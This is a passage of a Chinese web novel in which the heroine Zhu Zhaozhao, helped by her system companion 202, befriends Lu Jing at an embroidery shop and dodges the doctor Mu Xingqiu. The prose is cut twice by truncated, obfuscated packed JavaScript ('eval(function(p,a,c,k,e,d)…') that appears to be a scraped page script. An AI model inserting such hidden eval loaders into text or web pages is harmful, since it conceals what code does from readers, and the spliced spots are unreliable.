闻言点点头,祝昭昭重新答了菁小姐一遍:“没错,我就是阿昭。” 菁小姐顿时笑得花枝乱颤。 然而笑声很快被止不住的咳嗽替代,阻止了阿鱼拍在自己背上的手,菁小姐略带歉意地望向祝昭昭:“见谅。” 摇摇头,祝昭昭扫了眼菁小姐没什么血色的唇:“菁小姐的咳疾,已经持续很长时间了吗?” “嗯。” 唇边多了一丝苦笑,菁小姐垂眸:“我这咳疾是自小便染上的。迁延不愈也就罢了,这两年甚至开始愈发严重。” “爹娘担心我,为我找遍了大夫。听说新来的慕大夫医术了得,于是便让我过来看看。” 祝昭昭并不意外听见这个回答:“竟是如此,菁小姐受苦了。” 菁小姐微一颔首,片刻突然反应过来:“我们不过第一次见面,阿昭你竟然就看出了我身患咳疾。” 她满脸钦佩惊喜:“难怪爹说你聪明非常,你到绣坊不过几日,就愿意让你织流云锦。” 应对这种夸奖早已轻车熟路,祝昭昭弯起唇角—— “果然与慕大夫相熟的,都不是一般人!” 弯到一半的唇角猛地僵住,看着菁小姐亮晶晶的双眼,祝昭昭半天没反应过来。 不是,她聪不聪明先不说,单论这评价的因果关系,它成立吗? 跟慕行秋半毛钱关系吗? 慕行秋很牛*吗?? 而且你都咳成那样了,要是再看不出来有什么毛病…… 那她前十维护员的面子还往哪搁?? 这怎么就‘与慕大夫相熟的人都不是一般人’了?? 你们刚才到底都在聊什么啊?! 很难形容此刻的心情,祝昭昭最后选择转移话题:“……绣坊风大,菁小姐久留是否会影响咳疾恢复?” “没关系。” 菁小姐将手帕放进腰间荷包:“我刚服了慕大夫给我配的蜜丸。” 祝昭昭觉得这事儿有点玄幻:“菁小姐你刚吃了他配的蜜丸,但还是咳得厉害……” 请问这‘没关系’在? “嗯,因为慕大夫说蜜丸起效会有些慢,服下后大约一刻钟才会开始起效。” 话落深呼吸两口,菁小姐轻抚前胸:“这会儿我感觉好多了。” 目光掠过菁小姐逐渐红润起来的脸,祝昭昭不置可否:“菁小姐总归还是要多注意些。” “我知道。” 朝珠帘方向招呼了一声,菁小姐笑眯眯地望着祝昭昭:“阿昭你说话和慕大夫果然好像。” 祝昭昭不太懂这个一百八十度转弯的话题:“……好像?” “对啊。” 店小二很快掀开珠帘走进来,菁小姐从他掌中的木制托盘里,拿起书册和狼毫毛笔:“都很关心人呢。” “慕大夫刚才也是这样细心叮嘱我。”她边翻书册边道。 祝昭昭怔。 毫无理由的,她忽然觉得心脏像是被人揪了一下。 无端萌芽且无法理解的情绪蔓延开的瞬间,祝昭昭回过神来。 她甚至不明白自己在逃避什么:“……他对你很好。” “确实。”菁小姐深以为然,“慕大夫待人温和又有耐心,像他那样的青年才俊,不知该有多少少女暗暗倾心呢。” 说着朝身边阿鱼挑了个眼波,菁小姐话音轻巧:“你说呢,阿鱼?” 被点到名的阿鱼又羞又恼地嗔了菁小姐一声,两人顿时闹作一团。 祝昭昭却没有动。 在这几乎是完美的,能和菁小姐快速熟络的时机里。 她没有动。 如果放在往常,她早就第一时间抓住这个机会,不着痕迹地融入她们,方便后续及时套取信息。 可此时此刻,她却只呆呆站在原地。 为什么? 祝昭昭发现自己竟然找不到理由。 但她也没有太多找理由的时间。 余光无意间瞥见呆立的祝昭昭,菁小姐立刻停下了和阿鱼打闹的动作。 以为是自己和阿鱼太亲密,让祝昭昭觉得被忽略了。菁小姐有些内疚地找补:“阿昭你……你会写字吗?” 什么? 失焦的双眼凝神,祝昭昭略微思忖:“早先跟着我们村子里的教书先生学过一些。” 比起阿鱼的万分震撼,菁小姐倒是不怎么意外:“那阿昭你能不能帮我一个小忙?” 祝昭昭扫了眼她手里的书册和毛笔:“什么忙?” “就是,”菁小姐果然朝她扬了扬手中书册,“阿昭你能不能帮我记下账?” 祝昭昭刚张嘴,阿鱼就已经先她一步嚷嚷开:“林管家不在吗?” “嗯。” 菁小姐翻看着手里的账本:“因为今天我原本只是来让慕大夫瞧瞧我的咳疾,并不准备记账。” “所以阿福被我爹叫去忙别的事了。” 闻言表示了解,阿鱼很快又问:“那这就叫阿昭忙记账会不会不好啊?” “毕竟她才刚来呢,一会儿要是不小心出了点什么差错,掌柜的会不高兴吧?” 阿鱼这话不无道理,菁小姐脸上很快闪过一丝犹豫。 祝昭昭当然也注意到了菁小姐的变化。 很清楚阿鱼的话是出于好心,但祝昭昭不可能再放过这个,能和菁小姐熟稔起来的机会:“没关系。” “我可以学。” 望着菁小姐明显高兴起来的神色,祝昭昭心底一阵轻松。 * 菁小姐口中的记账,其实就是阿鱼刚才说的,盘点绣坊各种布匹染料的数量。 两人你点我记,配合得又好又快。记账效率大大提升的菁小姐,连连说要让亲爹给祝昭昭涨月钱。 但祝昭昭又不是单纯为了帮菁小姐记账。 于是默默记了一阵后,她开始尝试找突破口。 稍一思忖,她选择了最容易让人放松警惕的闲聊:“菁小姐,我们现在是要清点整个绣坊的材料么?” 点着架子上布匹的玉簪收回,菁小姐朝祝昭昭报了一个数:“对呀。” “而且你别叫我菁小姐了。” 数完又一层布匹,菁小姐再度报了一个数:“我本名陆菁,阿昭你叫我菁菁就好。” 振奋于陆菁对自己不怎么设防的同时,祝昭昭试探着轻声:“那……菁菁?” 陆菁轻快应声:“嗯!” 少女光下的笑颜耀眼,祝昭昭脸上不自觉也多了些浅淡笑意。 垂眸在账本上相应的位置记好数字,祝昭昭问:“绣坊所有布匹染料的计数,一直都是菁菁你在忙吗?” “嗯……之前一直是阿福,这两年爹爹为了锻炼我,才交由我接手的。” 陆菁说着,语气里多了些抱怨:“可是我和阿福一起计数的时候,他总是我问一句他才答一句。” “哪像慕大夫,不仅好好回答完我的问题,还会想到我可能问到的问题,然后提前告诉我。” 陌生的不适感又开始在心底蔓延,祝昭昭听见自己的话音微涩:“是么。” “对啊!” 想来先前一直没有合适的倾诉对象,好不容易碰见个祝昭昭,陆菁顿时像打开了话匣子:“阿昭你是不知道,阿福那笨家伙,我说话他不爱搭理就算了。” “有时我叫他帮我带些饴糖糕点,他也从来没答应过,还说什么‘小姐咳疾未愈,不能乱吃东西’。” “那我又不是每天都吃,偶尔吃一下都不行嘛!” 陆菁气鼓鼓地:“然后刚才慕大夫问诊,我也特意问他,我偶尔能不能吃些饴糖糕点。” “慕大夫都说可以呢!” 又数完两行架子上的布匹,陆菁话不停:“而且慕大夫不光说可以,他还把可以吃的饴糖糕点种类写在纸上,告诉我如果我爹娘不同意,就把那张纸拿给他们呢!” 长时间不回应容易让对方起疑,于是努力打起精神,祝昭昭强迫自己接了一句:“他想得确实周到。” “阿昭你也觉得对吧?” 陆菁一副找到伙伴的高兴模样:“人家慕大夫身为大夫,忌口这事上都没有那么严,阿福那个笨家伙还老是管这管那的,这不让我吃那不让我动,没事还要和我爹娘告状!” “哼,这次有慕大夫拍板,我看阿福那个笨家伙还敢不敢管着我,不让我吃好吃的!” 絮絮叨叨地,陆菁和祝昭昭说了许多有的没的。而祝昭昭计数之余,也有一搭没一搭地应和她。 同时,祝昭昭知道陆菁真正想说的话还藏着。 她在等。 手中账本翻页的那刻,祝昭昭等到了—— “阿昭。” 指着架子上布匹的玉簪微顿,陆菁说着,神情有些犹豫:“我问你一个问题好不好。” 祝昭昭怎么可能说不好:“小姐这是什么话,当然可以。” “您问吧。” “说什么您呢。”略带嗔怪地斜了祝昭昭一眼,陆菁犹豫片刻开口,“阿昭你觉得……” “女子只能等待吗?” 祝昭昭知道陆菁在说什么。 但她需要确认一遍:“菁小姐你的意思是?” “叫我菁菁啦!” 哭笑不得地敲敲木架,陆菁有些不好意思:“就是,就是……” “女子永远只能等着男子表达心意吗?” 最后一句声如蚊蚋,陆菁说完,甚至没敢抬眼去瞧祝昭昭。 将她反应看在眼里,哪怕此刻心情其实不怎么样,祝昭昭依旧不自觉弯起唇角。 也许是自觉问的问题实在于理不合,于是就连等待的时间都觉得漫长。见祝昭昭不回话,陆菁原本期待的眼神暗淡下来。 唇边笑意变得有些勉强,她佯作无事:“哎呀阿昭,其实我是在和你说笑的。你不要往心里……” “我不觉得女子永远只能等待男子向自己表达心意。” 对上陆菁乍然望向自己的错愕目光,祝昭昭摇摇手中毛笔:“不论女子或男子,情之一字,都发乎于本心。” “既然如此,那为何不追随心之所向?” 同病相怜会更容易让双方拉近距离,思忖着,祝昭昭大脑开始飞快运转:“且不说菁菁你,我又何尝没有烦恼。” 陆菁有些意外:“阿昭你?” 眼底掠过的一丝苦涩刚好,祝昭昭垂眸看着账本:“其实,我先前也有一个心悦之人。” 陆菁双眼明显亮了亮:“那你……” “我错过了他。” 祝昭昭编得信手拈来:“因为爹娘不许,我们最后有缘无分,我也独身直到如今。” 陆菁‘啊’了一声:“阿昭……” “不说这个了。” 抬头,祝昭昭‘强颜欢笑’:“况且以我对慕大夫的了解,他不是会无礼拒绝他人的人。” 刻意忽视某些再次缠上心脏的感觉,她安慰般朝陆菁弯弯眉眼:“所以菁菁你尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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道完别,陆菁小跑着离开,剩下祝昭昭在原地举着手,一时不知道还要不要挥。 陆菁的身影很快消失,望了眼昏黄的天色,她叹声,将账本和毛笔放进抽屉锁好后,往绣坊大门走。 刚才从被电的晕头转向里恢复过来,202这会儿又开始不老实:“诶,主人,你能不能说说你刚才到底是怎么想的。” “你怎么会觉得那个叫陆菁的喜欢大反派的?” 听出202声音里的揶揄,的确是自己判断失误在先的祝昭昭深呼吸忍火:“没有为什么。” “别不好意思嘛。” 哪能不知道祝昭昭这是在心虚,202得寸进尺:“说说呗,我不会笑你的主人。” “最多跟628偷偷唠一下。” 脑子里最后一根弦‘嘣’声断掉,祝昭昭不再留手。 炫目的电火花顿时在精神空间里闪耀。 光芒里,祝昭昭一扫方才的郁闷心情,甚至有心思边哼起小曲儿边穿过珠帘,准备踏进绣坊卖衣料的铺子。 然而抬起的脚步还没放下,她就忽然变了脸色。 猫腰,转身,开溜,一气呵成。飞一般跑回纺织处,祝昭昭站在原地心有余悸地抚胸口。 被电得差点重启的202垂死病中惊坐起:“怎么了主人,你看见什么东西了跑这么快?” 祝昭昭强作镇定:“看见人了。” 202:…… 什么东西? “看见人又不是看见鬼。” 202简直无语:“主人你至于跟看见前男友一样跑得比贼还快吗?” 好容易冷静下来,祝昭昭强调:“只有前男友看见我跑得快。” 202心情复杂。 不是,那到底跑什么嘛? 深谙202的臭德行,赶在它撒泼打滚前的最后一刻,祝昭昭开口:“我看见慕行秋站在铺子门口。” “嗐,就这事啊?” 202伸出机械手甩甩:“大反派来了就来了呗,那又怎么了?” “他不能来吗?” 扫了眼珠帘看慕行秋有没有直接找过来,祝昭昭捏捏眉心:“他能来,但我们在这工作这么长时间,你见他来过吗?” 202言简意赅:“没有。” 又‘哎呀’一声:“没来就没来呗,那他今天来绣坊看见你了,就想过来和你一起回去呗。” “那到底怎么了?” “没怎么,”祝昭昭烦躁,“我就是现在不想见他。” 202的求知精神突然在此刻大发神威:“为什么?” 祝昭昭气得咬牙:“因为——!” 202不解地望着她。 对啊,为什么? 祝昭昭愣。 有什么不能见的,他们之间又没有发生什么。 她为什么不想见他? 情绪被质问得冷静下去,祝昭昭闭眼深呼吸:“没什么。” 202还再问:“没什么是什么?主人你还没回答我呢。” “我不准备回答你。” 顺着记忆找到绣坊后门,祝昭昭快步赶过去:“没什么理由不理由,总之就是不想见,不想见就是不想见。” “反正他一会儿等不到就会回去,我先从这边跑就好。” 一见祝昭昭这架势,就知道她准备破罐破摔到底。看热闹不嫌事大的202惋惜地补上最后一句:“那主人你确定大反派等不到就会回去吗?” 一把推开后门,祝昭昭混没好气—— “我确定!” 117. 你追我逃累煞我也 祝昭昭的推测是对的。 等不到她的慕行秋确实自己回来了。 但她显然没有推测到慕行秋独自回来后,紧接着会发生什么—— “主人啊。” 从精神世界观察外界的窗口处收回目光,202神情犹豫:“那什么……你真的不打算看看吗?” 在床上躺得很平的祝昭昭:“看什么?” 又忍不住偷瞄窗口再回来,202语气犹豫:“看看大反派。” 祝昭昭不为所动:“理由。” “因为他一直站在你房间方向的窗口嘛。” 202满脸‘目前这到底什么情况’的表情:“站那五分钟了已经。” 祝昭昭终于绷不住了:“你计时了??” 被点出重点的202扭捏:“哎呀,那我也是好奇嘛。” 好奇…… 祝昭昭感觉脑瓜子在嗡嗡响:“你随便他干什么,跟你有半毛钱关系。” 202理直气壮地振声:“可是影响不好啊,大男人站在小女子窗前半天,这传出去成何体统。” “那你想怎么样。” 祝昭昭忍火:“现身拿电棍给他打走,还是大喇叭宣传他站在自己家院子里有问题,” “还是继续计时,满十分钟再送他免费站半小时??” 看着祝昭昭怒瞪自己的眼睛,202缩瑟了一下:“呃……” “让他进来站?” 气得倒吸气,祝昭昭照着202脑袋举手作势。 忍半天还是放下手,没好气地赶它:“一边去。” 如获大赦的202立刻圆滑地滚走。 跨过已经开始在地上滚着玩的202,祝昭昭走到窗口前。 慕行秋还站在那处。 准确来说,不是站,而是‘守’。 他守在院子中。 只是恰好侧对着祝昭昭房间的窗口。 今夜月上中天,晴朗的空中不见太多云彩。 月光毫无遮蔽地洒落地面,整个小院因此笼上玉般色泽。 却依旧夺不去他身上半分色彩。 不过…… “大反派这是在喝茶吗??” 在地上滚腻了的202鬼一样飞到祝昭昭身旁:“他什么时候搭的桌子?!” “我刚看他那会儿,他还只是站在那呢??” 斜扫了眼满脸惊恐的202,祝昭昭不耐烦:“我刚进精神空间,你问我我又该找谁问去?” “不过有一件事我倒是可以告诉你。” 瞬间化身八卦先锋,202凑到祝昭昭很近的距离:“什么事?” 一把推开202,祝昭昭面无表情:“慕行秋喝茶用的那套桌椅,本来就一直放在屋檐下。” “而且是我做的。” 202登时垮脸:…… 就这? 懒得搭理202,祝昭昭目光重落在月下饮茶的人身上。 沉默地盯了半晌,她平静的神情开始龟裂:“他到底为什么要坐在那里喝茶??” “不知道啊?” 202化身应声虫:“就像主人你这个问题一样无厘头啊。” 它作思考状:“大反派坐那喝茶又怎么了,主人你那么纠结为什么他坐那喝茶干嘛??” “跟你有关系吗?” 有关系!! 祝昭昭气不打一处来。 他为什么偏偏挑今天坐院子里喝茶?! 还大晚上孤零零地喝,搞得跟被人抛弃了一样。 给谁看的?! 有毛病! 越想越觉得无名火冒,祝昭昭狠狠磨牙。 一把关上精神世界对外窗口,她快步离开。 * 带着某些自己都说不清,但又确定必然掺杂着一些报复意味的心情。接下来的几天,祝昭昭每天都在躲慕行秋。 慕行秋要早起,她就故意起得比慕行秋还要早;慕行秋什么时候回家,她就算准时间,赶在他离开医馆前回去。 为了防止被逮到,她甚至让202以系统格担保,确认环境安全,绝对碰不到慕行秋后,才敢偷摸跑路。 然而令她汗流浃背的是,慕行秋似乎察觉到了异常,自等不到她的第三天开始,之后每天,一离开医馆后便不再回家,而是来到绣坊铺子门前守。 像是势必要逮到她,跟她一起回去一样。 于是祝昭昭不仅要早起躲他,晚上还要早早躺床上装死人。哪怕装死人期间,她可以在精神空间打发时间,但你追我藏的日子还是让她身心俱疲。 * 再度瞄了身旁人一眼,陆菁抿抿唇,终于按捺不住:“阿昭。” 祝昭昭打了个哈欠:“嗯?” 指指她眼下青黑,陆菁语气斟酌:“你最近……是不是休息不好呀?” 闻言一愣,祝昭昭眨眨眼。 有这么明显吗? 202像是听见她心声:“有,主人你现在的黑眼圈媲美黑洞。” …… 忍到指节发白才没给202通通电,祝昭昭朝陆菁抱歉笑笑:“我这几日的确休息得不太好。” “但不会影响到计数,菁菁你放心。” 说着扬了扬手中账本,她现场举例:“方才你点的布匹数量是三十二。” “哈哈,我不是担心这个啦。” 被祝昭昭逗得咯咯直笑,陆菁手中玉簪摇晃着,指向架子下一行:“我当然知道阿昭你不会记错数,只是你看起来确实魂不守舍的,我是怕你不开心啦。” 祝昭昭摇摇头:“我没有不开心。” “说谎。” 玉簪虚虚朝她方向轻点,陆菁一脸‘别想骗我’的表情:“你何止是不开心,你是有事藏在心里,特别特别不开心。” 话到最后,她软声撒娇:“阿昭你到底怎么了嘛,告诉我好不好?” 诚然,美人对着自己撒娇很可爱,祝昭昭也很受用。 然而这几天已经被慕行秋搞得焦头烂额,她实在不想再在好不容易得来的喘/息时刻,继续这个话题。 加之几天过去,她需要确认陆菁对自己已经信任到什么程度。于是想了想,祝昭昭选择转移话题:“说起来,” “菁菁你和阿福的事怎么样了?” 果然被这句话吸引了注意,陆菁神色一滞:“啊,我和阿福……” 见状在心底振奋捏拳,祝昭昭揶揄她:“对啊,菁菁你前几天不是说‘不做让自己后悔的事’吗,所以进展如何呢?” “莫不是阿福已经准备上门提亲了?” 闻言顿时‘呀’了一声,羞恼交加的陆菁作势要打祝昭昭:“阿昭你说什么呢!” 祝昭昭嘻笑着躲开:“那不然这几天我都没在铺子里看见阿福,他是跑到哪里去了嘛。” “不过短短几日,阿昭你怎么会想到提亲去的!” 手上落空,陆菁嗔怪一跺脚:“他是去准备宵语花的采集事宜去了啦!” 宵语花的采集事宜。 经过刚才的小插曲,已经确认陆菁对自己信任度的祝昭昭,丝毫不怀疑这话的真实性。 心底生出点尘埃落定的轻松感,她面上却惊讶:“宵语花的采集事宜?” “对啊。” 点点头,陆菁转动手中玉簪:“昨天我们点染料的时候阿昭你不是看见了吗,宵语花已经快见底了。” 祝昭昭当然知道。 但这不代表她就要主动提起这事,引起可能的不必要怀疑和麻烦:“不是还有小半坛子呢吗?” “小半坛子算什么呀。” 陆菁啼笑皆非:“最多三四匹布的事,一下子就用完了。” 祝昭昭‘惊讶’地望着陆菁:“我看其他布匹染色时需要的染料都不多啊,染流云锦竟然要那么多宵语花吗?” 闻言‘诶呦’一声,陆菁掩唇轻笑:“阿昭你知道的还挺多的嘛,是阿鱼告诉你的吧?” “真是,什么都瞒不过菁菁你。”稍后要做的事更重要,这当口祝昭昭不介意先哄哄陆菁热身。 陆菁也确实受用。 她顿时笑得眉眼弯弯:“阿昭你真是的,你和阿鱼那么要好,不是从阿鱼那听到的还能是从哪听到的。” “因为流云锦的‘流云’样式,就是靠宵语花染就的呀。” 数完布料的陆菁边说边报了个数:“而流云锦之所以珍贵,除了因为样式极难染就,最重要的原因……阿昭你应该知道吧?” 祝昭昭相当配合:“因为宵语花太难摘到了。” 脸上随即露出犯愁之色,陆菁叹声:“每次到了要摘宵语花的时候,我心里都会有些难受。” 目光极速掠过木架旁的少女,祝昭昭不动声色:“为什么?” “因为宵语花太难采了。” 陆菁垂眸:“每次爹爹和阿福找来的人最后都或多或少会带伤回来,若是运气不好,甚至会有人回不来……” “但流云锦是魔宫贡品。”略一思忖,祝昭昭答。 指尖无意识地开始摩挲玉簪,陆菁不置可否:“爹爹和阿福找他们的时候,也是同他们说清楚的。” 祝昭昭语气平静:“那便是你情我愿。” “是呀。” 微一颔首,陆菁拧眉:“但不论再多的银子,都换不回一条人命不是吗。” 祝昭昭并不反驳:“他们的妻儿若是知道此行有去无回,兴许都不会同样他们去采这宵语花。” 陆菁嘴角笑意变得有些勉强:“谁说不是呢。” “所以,若是有人能尽力保证采集路上安该多好。” 摇摇头,祝昭昭面露惋惜:“若是有这么个人在队伍里,该有多少妻儿老小安心感激。” 陆菁抿了抿唇。 望着她逐渐变红的眼圈,祝昭昭知道,时机到了:“说起来,我刚巧会些在树林中寻路的技巧。” “……什么?”陆菁怔。 “我说。” 对上她满含错愕的双眼,祝昭昭一字一句:“我会林中寻路的技巧。” “采宵语花时,我可以一起去。” “可是,”终于反应过来,陆菁惊慌失色,“林中环境太过恶劣,阿昭你一个弱女子很难适应的。” “我自幼在森林附近长大。”祝昭昭笑笑,“而且我如今亦住在森林附近。” “可是……” “菁菁你不相信我?” “不是……” “那就让我去试试吧。” 陆菁彻底混乱:“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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察觉到不对,祝昭昭问她:“这是……” 一把抢过祝昭昭手里的册子和笔放好,陆菁将玉簪插回头上发髻,拉着她往门口走:“别这是那是了,快过来。” 两人一前一后在男人不远处站定,陆菁率先打招呼:“阿如哥。” “菁菁。” 笑着点了点头,被陆菁叫做‘阿如’的男人转而看向祝昭昭:“这位姑娘是?” “她就是我前两日与你提过的阿昭啦。” 话落牵起祝昭昭的手,陆菁将她往阿如的方向拉了拉近。 她语气轻快:“多亏这几日我们在此清点布匹,你才能见到她呢。若是往常,你想见她可没那么容易。” “对吧阿昭?” 收到陆菁暗示拉满的眨眼,隐隐意识到现在正在发生什么祝昭昭含糊:“……对。” 然后果断想溜:“不过菁小姐,我突然想起来我还有点事。既然今天不点布匹了,那我先走一步。” “走什么呀!” 陆菁‘哎呀’一声扯住她:“阿如哥可是葛金叔家的三少爷,今天也是好不容易才能来一趟呢。” “阿昭你就这么走了,多失礼呀。” 望着眼前容貌清秀的少年,祝昭昭心情复杂。 葛金,是这个集市最大当铺的掌柜。 而这个被陆菁熟稔称作‘阿如哥’的,则是当铺掌柜葛金的三少爷。 三少爷?? 一时不知道是该震惊于陆菁居然能说动当铺掌柜的儿子,和自己一个绣娘见面,还是该震惊这个大户人家的傻儿子竟然真来了。 祝昭昭只觉脑瓜子嗡嗡响。 她忍住扶额的冲动:“可是我真的有很要紧的事,轻易不能耽搁。” 陆菁闻言还想再说什么,葛如已经先她一步开口:“无妨。” “若是阿昭姑娘的确有要紧事,那还是先去办罢。如果只是因为与我见面便耽误正事……” “我也会过意不去的。” 望着对面人眉眼弯弯的模样,祝昭昭本欲抬起的脚步片刻犹豫后。 最终踩了回去。 “那我们去哪?” 暗忖就当做交个计划外的朋友,祝昭昭在心底叹了口气:“还是待在绣坊就好?” 葛如还没反应过来:“阿昭姑娘你不是……” 见势不妙,陆菁连忙轻咳两声:“哎呀阿如哥,人家阿昭都答应你了,你还问那么多做什么。” “醉香楼最近不是出了新的吃食么,你可以带阿昭去坐坐呀。” 目光在陆菁和祝昭昭之间转了一圈,后知后觉的葛如‘哦’了一声:“既然如此,那……” “阿昭。” 突如其来的声音打断了葛如。 三人闻言皆是一愣,再齐齐循声而望—— “是我打扰到你们了么?” 不避不闪对上三人视线,慕行秋泰然自若地微笑。 118. “阿慕哥哥带了糕点哦!” 最先反应过来的是陆菁。 “慕大夫?” 她有些意外:“你怎么在这里,我记得我的药还剩两副啊?” “我知道。” 闻言微一颔首,慕行秋从袖中拿出个小瓷瓶:“但这几日我观你虽状态渐佳,腑脏却仍有隐疾。” “是以与你父母商量过后,他们同意我再为你配一副专门温补腑脏的丹药。” 张开手,细长颈的纯白瓷瓶就躺在慕行秋掌心中:“我今日便是为了送药而来。” “原来如此。” 看着慕行秋掌心瓷瓶,陆菁果然打消疑虑。 接过瓷瓶,她朝慕行秋行了一礼:“亲自配药还亲自送来,真是麻烦慕大夫了。” 慕行秋亦还她一礼:“无妨。” 眼前的场面相当和谐。 边上围观的祝昭昭却心情复杂。 不是,难道就没人对这家伙走到绣坊重地的行为产生警惕和质疑吗?? 而且就说话这会儿的功夫,他人已经来到存放染料和布匹的仓库门口了啊! 葛如是你陆菁从小到大的朋友,进出也许可以随意。 那这位慕大夫呢?? 真的没人觉得有问题吗?? 不过吐槽归吐槽,祝昭昭并没兴趣掺和进这些小事里。 况且槽着槽着她突然反应过来,慕行秋他不止是闯入了绣坊重地…… 也同样已经到了离她很近的距离啊! 祝昭昭:呐喊·jpg 天知道这几天她躲得有多辛苦。 这不是完全被逮到了吗?! 越想越觉得额角冒汗,装作没看见已经和自己并肩而立的慕行秋的衣袍,祝昭昭开口:“菁小姐,如果没什么事的话,我和葛公子就先走了。” 虽然同样不喜欢和陌生人说废话,但以眼下这种抓马到抽象的情况,捏着鼻子忍忍也不是不可以。 到了醉香楼再随便说两句把人打发走就行。 思忖着,祝昭昭看向陆菁。 陆菁也收好瓷瓶,准备点头。 然而就在这时,慕行秋再度开口:“阿昭你是不是忘了……” “玉娘今日还等着我们一起回去,为她的母亲针灸按摩与熬煮药浴所需的汤药?” 祝昭昭:……? 什么? 针灸按摩? 熬煮汤药?? 这人到底在说什么?? 扭头,将祝昭昭按捺住的震惊神色尽收眼底,慕行秋笑得愈发温柔:“此事我们已经拖延了两日。” “今日若是再拖,是否有些不妥?” 他语气随意仿佛闲聊,出口的话却理由充分到没有丝毫商量的余地。 这回不仅是陆菁,就连葛如都忍不住附和:“比起散步闲聊,还是治病救人更重要些。” “而且阿昭你竟然会针灸么?”话到半路意识到什么,他看向祝昭昭的目光多了惊艳。 边上慕行秋神色似笑非笑,祝昭昭强忍一头火:“针灸这样精细的事,当然是慕大夫来做。” “我只是打个下手,熬煮汤药罢了。” 葛如倒是不怎么意外,依旧只是笑眯眯地:“那也足够厉害。” 祝昭昭扯了扯唇角。 这当口陆菁也来插上一脚:“这么说来,我记得玉娘的母亲确实已经病了很久了。” “她与我们闲聊的时候,好像说过她母亲走路非常吃力,非得拄拐不行了。” 慕行秋点头:“是。” 陆菁有些好奇:“那你们这次替她母亲诊治,是因为她愈发行动不便了么?” “以婆婆的年岁来看,行动不便已成定局” 慕行秋耐心解释:“如今也温养身体罢了。” 陆菁‘哦’了一声:“原来如此。” “那你们还是快去忙你们的吧。” 朝祝昭昭和慕行秋摆手示意,陆菁摸上腰间锦囊:“替我向玉娘和她的家人们问好。” 当然知道陆菁在摸什么,葛如也从腰间摸出几两碎银:“这是我的小小心意,也替我向她们问好。” 刚从陆菁手里接过碎银,祝昭昭见状,顺便就想把葛如那份一起接了。 然而她手刚移过去,身旁一道白色袖影已经停在葛如手前—— “慕某在此,先替玉娘她们谢谢葛三公子。” 慕行秋伸出的手坚定,葛如求助般看了祝昭昭一眼。 而祝昭昭简直已经无法形容此刻奔腾的心情。 她只能朝葛如抱歉笑笑。 收到信号的葛如最后略显尴尬地,将碎银交到慕行秋手中:“无妨,是我该多谢慕大夫帮忙才是。” 微微颔首,慕行秋眉眼弯弯:“份内之事,何须言谢。” * 和陆菁还有葛如道别后,祝昭昭和慕行秋很快离开绣坊。 感觉再多呆一秒就会尴尬到爆炸。刚走出绣坊,祝昭昭就立马准备跑路:“没什么事的话我就先走了。” 这本来只是句客套,祝昭昭不觉得慕行秋会听不懂。 然而像是早有预料般,慕行秋竟然立刻反问她:“去哪?” 欲走的脚步落回原地,祝昭昭表面波澜不惊,实则内心已经满头问号。 真是奇了怪了,去哪需要跟你报告吗? 总不能现在真回去针灸熬药吧? 自己去好吗? 回过神,她强忍住吐槽的冲动,随便扯了个理由:“去熟悉路线,毕竟这才是我们留在这的原本目的不是吗。” 很清楚不拿出点证据很难骗过慕行秋,祝昭昭从储物袋摸出这段时间,根据202给出的数据手绘的地图。 微黄的草纸卷在慕行秋跟前示威般晃了晃,她半挑衅地:“要看看吗?” 垂眸望着那卷草纸,眸光似有若无地掠过将之捏住的细长手指,幕行秋话音淡淡:“不用。” 不看? 爱看不看! 一见他那装模作样的架势就不爽,祝昭昭趁他不注意就是一个白眼。 再把地图收回储物袋:“我会晚些回去,记得给我留个门。忘了也没关系,不过到时候吵到你……” “我和你一起去。” 祝昭昭:…… 她耳朵出问题了? 对上祝昭昭缓缓睁大的眼睛,慕行秋坏心眼地弯起唇角。 再很好脾气地问她:“是没听清么。” 祝昭昭:沉默·jpg 权当她默认,慕行秋唇角笑意更深:“那我再说一遍。” 他慢悠悠地:“我和你。” “一起去。” 慕行秋话音落下的瞬间,祝昭昭终于回神。 她震撼侧目。 不是,这家伙有病吗?? 粘着她干嘛啊?! 狠狠深呼吸,祝昭昭保持最后的耐心:“不行。” “为何不行?” 慕行秋继续问:“你若是担心我近段时间一直忙于看诊对外不熟,同行会拖你后腿,那大可不必。” “因为不只是你闲暇时在探路,我走的地方应该不比你少。” 他说着,掌心亦多出一卷草纸:“要瞧瞧么?” “不用。” 知道这回是扯不明白道理了,祝昭昭环视四周,大概确认了一下目前所在:“我相信你。” 慕行秋收起地图:“那么……” 那么我就先走了! 抓住不远处的一家三口即将从自己这边路过的瞬间,祝昭昭跳起来就按202给的方向跑。 不为别的,就为她笃定慕行秋不可能像自己一样在大庭广众下狂奔。 这对他来说是严重的失态行为。 正出神,祝昭昭突然被一阵香甜的气息吸引了注意。 她扭头,这才发现202提供的这条路线,刚好路过醉香楼。 而她闻到的香味,则来源于一位正从醉香楼出来的女娘手里拎着的纸包。 醉香楼的糕点是不错,抽空可以来尝尝。 脑海里漫无目的地掠过这么一句,祝昭昭很快跑进一个拐角。 她的身影也彻底消失在慕行秋的视线中。 似慢实快的脚步最终停在醉香楼,目光自拐角处收回,慕行秋无声轻叹。 最后望向离自己数步远的女娘:“姑娘请留步。” * 回住处的时候已是月上中天。看着手中终于完满的集市范围地图,祝昭昭心满意足:“不错,好歹是在进山前画完了。” 202很臭屁:“是谁的功劳?” 扫了眼脸上写满‘快夸我’的笨蛋系统,这会儿心情还不错的祝昭昭棒读:“当然是我们智勇双全,德智体美全发展的超级系统202啦~” 顿时美得差点冒泡,202独自陶醉老半天。 半晌自觉没趣。它飞到祝昭昭脸旁:“主人。” 祝昭昭翻看地图:“说。” “你今天突然跑路甩掉大反派,现在就这么大摇大摆的回去?” 当然明白它的意思,祝昭昭不答反问:“不然呢?” 202被噎得一哽:“那……等会儿他报复主人你怎么办?” “我现在跟他是一条绳上的蚂蚱。” 